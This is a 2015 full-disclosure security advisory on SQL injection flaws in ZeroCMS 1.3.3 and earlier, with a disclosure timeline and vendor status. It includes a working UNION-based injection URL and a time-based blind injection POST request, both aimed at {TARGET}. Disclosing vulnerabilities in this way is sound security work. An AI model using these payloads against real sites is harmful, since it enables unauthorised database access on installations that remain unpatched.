ZeroCMS 1.3.3 SQL Injection

`Advisory: SQL injection vulnerabilities in zerocms <= v.1.3.3  
Advisory ID: SROEADV-2015-13  
Author: Steffen Rösemann  
Affected Software: zerocms <= v.1.3.3 (released 23rd-Jan-2015)  
Vendor URL: http://aas9.in/zerocms/  
Vendor Status: platform will be moving to Rails4  
CVE-ID: -  
  
==========================  
Vulnerability Description:  
==========================  
  
Content management system Zerocms v. 1.3.3 suffers from SQL injection  
vulnerabilities.  
  
==================  
Technical Details:  
==================  
  
The article_id-parameter used in zero_view_article.php is vulnerable to SQL  
injection. It is located here in a common Zerocms-installation and can be  
exploited even by unregistered users:  
  
http://{TARGET}/views/zero_view_article.php?article_id=1  
  
Exploit-Example:  
  
http://  
{TARGET}/views/zero_view_article.php?article_id=-1+union+select+database%28%29,2,version%28%29,user%28%29,5,6+--+  
  
A Blind SQL injection vulnerability can be found the file  
zero_user_transact.php. The parameter user_id is vulnerable to SQL  
injection. See the following example POST-request which serves as  
exploit-example:  
  
POST /views/zero_transact_user.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0)  
Gecko/20100101 Firefox/35.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
DNT: 1  
Referer: http://{TARGET}/views/zero_user_account.php?user_id=2  
Cookie: PHPSESSID=rirftt07h0dem8d48lujliuve6  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 91  
  
name=user&email=user%40user.de&access_level=1&user_id=2 AND  
SLEEP(30)&action=Modify+Account  
  
The Blind SQL injection vulnerability can be exploited on the  
administrative backend of Zerocms.  
  
The vulnerabilities described above have been tested on the following  
versions of Zerocms:  
  
- v. 1.3.2  
- v. 1.3.3  
  
=========  
Solution:  
=========  
  
Vendor seems not to provide a patch for this vulnerabilities as version  
1.3.3 is the last release for this PHP-based platform. It will be developed  
on the Rails4-platform in future releases (see Github repository, release  
section).  
  
  
====================  
Disclosure Timeline:  
====================  
23-Jan-2015 – found the vulnerabilities in v.1.3.2  
23-Jan-2015 - informed the developers (see [3])  
23-Jan-2015 – release date of this security advisory [without technical  
details]  
23-Jan-2015 - forked the vulnerable version to keep it available for other  
researchers (see [4])  
23-Jan-2015 - developer released v.1.3.3 of zerocms  
24-Jan-2015 - vulnerabilities can also be found in v.1.3.3  
29-Jan-2015 - as vendor will move the platform to Rails4, it seems that  
there will be no patch provided (see [5])  
29-Jan-2015 - release date of this security advisory  
29-Jan-2015 - send to FullDisclosure  
  
  
  
========  
Credits:  
========  
  
Vulnerability found and advisory written by Steffen Rösemann.  
  
===========  
References:  
===========  
  
[1] http://aas9.in/zerocms/  
[2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-13.html  
[3] https://github.com/perezkarjee/zerocms/issues/3  
[4] https://github.com/sroesemann/zerocms  
[5] https://twitter.com/sroesemann/status/559273548691546113  
  
  
`